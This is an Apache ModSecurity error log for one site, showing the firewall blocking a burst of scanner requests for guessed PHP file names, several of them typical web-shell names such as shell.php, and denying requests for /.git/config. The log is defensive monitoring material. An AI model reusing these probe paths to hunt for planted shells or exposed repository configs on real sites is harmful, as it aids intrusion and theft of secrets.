[Thu Apr 16 02:02:26.017412 2026] [:error] [pid 34542:tid 34545] [client 172.213.218.185:18859] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "ad_SsgdF4OGi-asleB6OiwAAAUE"]
[Thu Apr 16 02:02:30.055154 2026] [:error] [pid 34542:tid 34565] [client 172.213.218.185:10724] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "ad_StgdF4OGi-asleB6OoAAAAVU"]
[Thu Apr 16 02:02:31.279443 2026] [:error] [pid 792:tid 873] [client 172.213.218.185:12452] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "ad_St93PZ8z30TezIkZhoQAAAMQ"]
[Thu Apr 16 02:02:32.128060 2026] [:error] [pid 54814:tid 54826] [client 172.213.218.185:19650] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "ad_SuDrHu_-tAAe-BOWvaAAAAYY"]
[Thu Apr 16 02:02:33.526924 2026] [:error] [pid 34542:tid 34551] [client 172.213.218.185:24714] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "ad_SuQdF4OGi-asleB6OtAAAAUc"]
[Thu Apr 16 02:02:34.667051 2026] [:error] [pid 34542:tid 34567] [client 172.213.218.185:21575] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "ad_SugdF4OGi-asleB6OugAAAVc"]
[Thu Apr 16 02:02:35.946833 2026] [:error] [pid 34542:tid 34550] [client 172.213.218.185:21610] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "ad_SuwdF4OGi-asleB6OwAAAAUY"]
[Thu Apr 16 02:02:38.007443 2026] [:error] [pid 790:tid 797] [client 172.213.218.185:18864] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "ad_SviHz-rbrjNOa3VKpmgAAAAM"]
[Thu Apr 16 02:02:39.686683 2026] [:error] [pid 791:tid 857] [client 172.213.218.185:2621] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "ad_Sv7xl5Y18om2fepncXwAAAE8"]
[Thu Apr 16 02:02:40.780492 2026] [:error] [pid 20548:tid 20566] [client 172.213.218.185:32209] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "ad_SwKkpqgnqCHq6bJa5CgAAAI8"]
[Thu Apr 16 02:02:41.965853 2026] [:error] [pid 34542:tid 34560] [client 172.213.218.185:50210] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "ad_SwQdF4OGi-asleB6OzQAAAVA"]
[Thu Apr 16 02:02:43.264673 2026] [:error] [pid 34542:tid 34544] [client 172.213.218.185:22340] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gettest.php"] [unique_id "ad_SwwdF4OGi-asleB6O0wAAAUA"]
[Thu Apr 16 02:02:46.086415 2026] [:error] [pid 34542:tid 34549] [client 172.213.218.185:27033] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gettest.php"] [unique_id "ad_SxgdF4OGi-asleB6O3gAAAUU"]
[Thu Apr 16 02:03:45.489445 2026] [:error] [pid 792:tid 870] [client 172.213.218.185:8471] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad_TAd3PZ8z30TezIkZiDAAAAME"]
[Thu Apr 16 02:03:47.631225 2026] [:error] [pid 54814:tid 54831] [client 172.213.218.185:50209] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad_TAzrHu_-tAAe-BOWv3wAAAYs"]
[Thu Apr 16 02:03:48.434695 2026] [:error] [pid 791:tid 849] [client 172.213.218.185:8496] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad_TBLxl5Y18om2fepncigAAAEk"]
[Thu Apr 16 02:03:51.094164 2026] [:error] [pid 792:tid 874] [client 172.213.218.185:16916] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad_TB93PZ8z30TezIkZiGQAAAMU"]
[Thu Apr 16 02:03:52.691155 2026] [:error] [pid 20548:tid 20575] [client 172.213.218.185:8992] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "ad_TCKkpqgnqCHq6bJa54AAAAJg"]
[Thu Apr 16 02:03:53.449538 2026] [:error] [pid 20548:tid 20563] [client 172.213.218.185:16954] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "ad_TCakpqgnqCHq6bJa54wAAAIw"]
[Thu Apr 16 02:03:55.354591 2026] [:error] [pid 54814:tid 54830] [client 172.213.218.185:16942] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "ad_TCzrHu_-tAAe-BOWv8AAAAYo"]
[Thu Apr 16 02:03:57.896691 2026] [:error] [pid 34542:tid 34562] [client 172.213.218.185:8978] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "ad_TDQdF4OGi-asleB6PmAAAAVI"]
[Thu Apr 16 02:03:59.192309 2026] [:error] [pid 912:tid 992] [client 172.213.218.185:17325] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "ad_TD8U0_VzYCBipADkz2gAAARg"]
[Thu Apr 16 02:04:00.041843 2026] [:error] [pid 912:tid 979] [client 172.213.218.185:17323] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "ad_TEMU0_VzYCBipADkz3wAAAQs"]
[Thu Apr 16 02:04:00.836589 2026] [:error] [pid 54814:tid 54822] [client 172.213.218.185:17779] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "ad_TEDrHu_-tAAe-BOWv9AAAAYI"]
[Thu Apr 16 02:04:01.795410 2026] [:error] [pid 54814:tid 54828] [client 172.213.218.185:37979] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dass.php"] [unique_id "ad_TETrHu_-tAAe-BOWv9wAAAYg"]
[Thu Apr 16 02:04:02.926827 2026] [:error] [pid 54814:tid 54839] [client 172.213.218.185:9014] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboute.php"] [unique_id "ad_TEjrHu_-tAAe-BOWv_QAAAZM"]
[Thu Apr 16 02:04:03.889245 2026] [:error] [pid 20548:tid 20555] [client 172.213.218.185:16924] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboute.php"] [unique_id "ad_TE6kpqgnqCHq6bJa5_QAAAIQ"]
[Thu Apr 16 02:04:04.671719 2026] [:error] [pid 34542:tid 34561] [client 172.213.218.185:61558] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboute.php"] [unique_id "ad_TFAdF4OGi-asleB6PqAAAAVE"]
[Thu Apr 16 02:04:06.779796 2026] [:error] [pid 20548:tid 20571] [client 172.213.218.185:49407] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboute.php"] [unique_id "ad_TFqkpqgnqCHq6bJa6BwAAAJQ"]
[Thu Apr 16 02:04:07.586278 2026] [:error] [pid 54814:tid 54825] [client 172.213.218.185:49381] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "ad_TFzrHu_-tAAe-BOWwBgAAAYU"]
[Thu Apr 16 02:04:08.829164 2026] [:error] [pid 20548:tid 20569] [client 172.213.218.185:12095] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "ad_TGKkpqgnqCHq6bJa6CgAAAJI"]
[Thu Apr 16 02:04:10.089026 2026] [:error] [pid 34542:tid 34566] [client 172.213.218.185:21127] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "ad_TGgdF4OGi-asleB6PsQAAAVY"]
[Thu Apr 16 02:04:11.281059 2026] [:error] [pid 912:tid 976] [client 172.213.218.185:16948] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "ad_TG8U0_VzYCBipADkz6AAAAQg"]
[Thu Apr 16 02:04:12.547825 2026] [:error] [pid 912:tid 990] [client 172.213.218.185:22364] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "ad_THMU0_VzYCBipADkz6wAAARY"]
[Thu Apr 16 02:04:13.603919 2026] [:error] [pid 791:tid 861] [client 172.213.218.185:61543] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "ad_THbxl5Y18om2fepncpQAAAFM"]
[Thu Apr 16 02:04:16.273002 2026] [:error] [pid 34542:tid 34555] [client 172.213.218.185:22344] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "ad_TIAdF4OGi-asleB6PxQAAAUs"]
[Thu Apr 16 02:04:19.822280 2026] [:error] [pid 54814:tid 54837] [client 172.213.218.185:20002] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-png.php"] [unique_id "ad_TIzrHu_-tAAe-BOWwGgAAAZE"]
[Thu Apr 16 02:04:21.513854 2026] [:error] [pid 912:tid 981] [client 172.213.218.185:12044] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "ad_TJcU0_VzYCBipADkz8gAAAQ0"]
[Thu Apr 16 02:04:23.880930 2026] [:error] [pid 34542:tid 34548] [client 172.213.218.185:38637] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "ad_TJwdF4OGi-asleB6P0QAAAUQ"]
[Thu Apr 16 02:04:30.398386 2026] [:error] [pid 54814:tid 54821] [client 172.213.218.185:16941] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "ad_TLjrHu_-tAAe-BOWwIwAAAYE"]
[Thu Apr 16 02:04:34.759681 2026] [:error] [pid 34542:tid 34560] [client 172.213.218.185:24769] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "ad_TMgdF4OGi-asleB6P8gAAAVA"]
[Thu Apr 16 02:04:36.186335 2026] [:error] [pid 20548:tid 20554] [client 172.213.218.185:9768] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/first.php"] [unique_id "ad_TNKkpqgnqCHq6bJa6QAAAAIM"]
[Thu Apr 16 02:04:37.260380 2026] [:error] [pid 54814:tid 54827] [client 172.213.218.185:46251] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/first.php"] [unique_id "ad_TNTrHu_-tAAe-BOWwJQAAAYc"]
[Thu Apr 16 02:04:38.964992 2026] [:error] [pid 20548:tid 20565] [client 172.213.218.185:52794] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/first.php"] [unique_id "ad_TNqkpqgnqCHq6bJa6SgAAAI4"]
[Thu Apr 16 02:04:40.147191 2026] [:error] [pid 20548:tid 20557] [client 172.213.218.185:52769] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/first.php"] [unique_id "ad_TOKkpqgnqCHq6bJa6UAAAAIY"]
[Thu Apr 16 02:04:41.516175 2026] [:error] [pid 912:tid 969] [client 172.213.218.185:36536] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "ad_TOcU0_VzYCBipADk0BAAAAQE"]
[Thu Apr 16 02:04:42.810725 2026] [:error] [pid 20548:tid 20559] [client 172.213.218.185:36525] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "ad_TOqkpqgnqCHq6bJa6VgAAAIg"]
[Thu Apr 16 02:05:29.695914 2026] [:error] [pid 34542:tid 34563] [client 172.215.217.194:33987] [client 172.215.217.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_TaQdF4OGi-asleB6QawAAAVM"], referer: https://www.linkedin.com/
[Thu Apr 16 02:05:33.446548 2026] [:error] [pid 912:tid 990] [client 172.213.218.185:2903] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/b.php"] [unique_id "ad_TbcU0_VzYCBipADk0RAAAARY"]
[Thu Apr 16 02:05:34.511831 2026] [:error] [pid 34542:tid 34563] [client 172.213.218.185:2166] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/b.php"] [unique_id "ad_TbgdF4OGi-asleB6QeQAAAVM"]
[Thu Apr 16 02:05:35.750843 2026] [:error] [pid 34542:tid 34549] [client 128.24.161.179:63531] [client 128.24.161.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_TbwdF4OGi-asleB6QfwAAAUU"], referer: https://www.google.com/
[Thu Apr 16 02:05:37.237930 2026] [:error] [pid 34542:tid 34552] [client 172.213.218.185:2900] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/b.php"] [unique_id "ad_TcQdF4OGi-asleB6QggAAAUg"]
[Thu Apr 16 02:05:38.586921 2026] [:error] [pid 20548:tid 20566] [client 172.213.218.185:16314] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/b.php"] [unique_id "ad_TcqkpqgnqCHq6bJa6vwAAAI8"]
[Thu Apr 16 02:05:40.128065 2026] [:error] [pid 792:tid 877] [client 172.213.218.185:2299] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "ad_TdN3PZ8z30TezIkZitgAAAMg"]
[Thu Apr 16 02:05:41.579521 2026] [:error] [pid 34542:tid 34547] [client 172.213.218.185:35076] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "ad_TdQdF4OGi-asleB6QkQAAAUM"]
[Thu Apr 16 02:05:43.398303 2026] [:error] [pid 34542:tid 34560] [client 172.213.218.185:11670] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "ad_TdwdF4OGi-asleB6QlAAAAVA"]
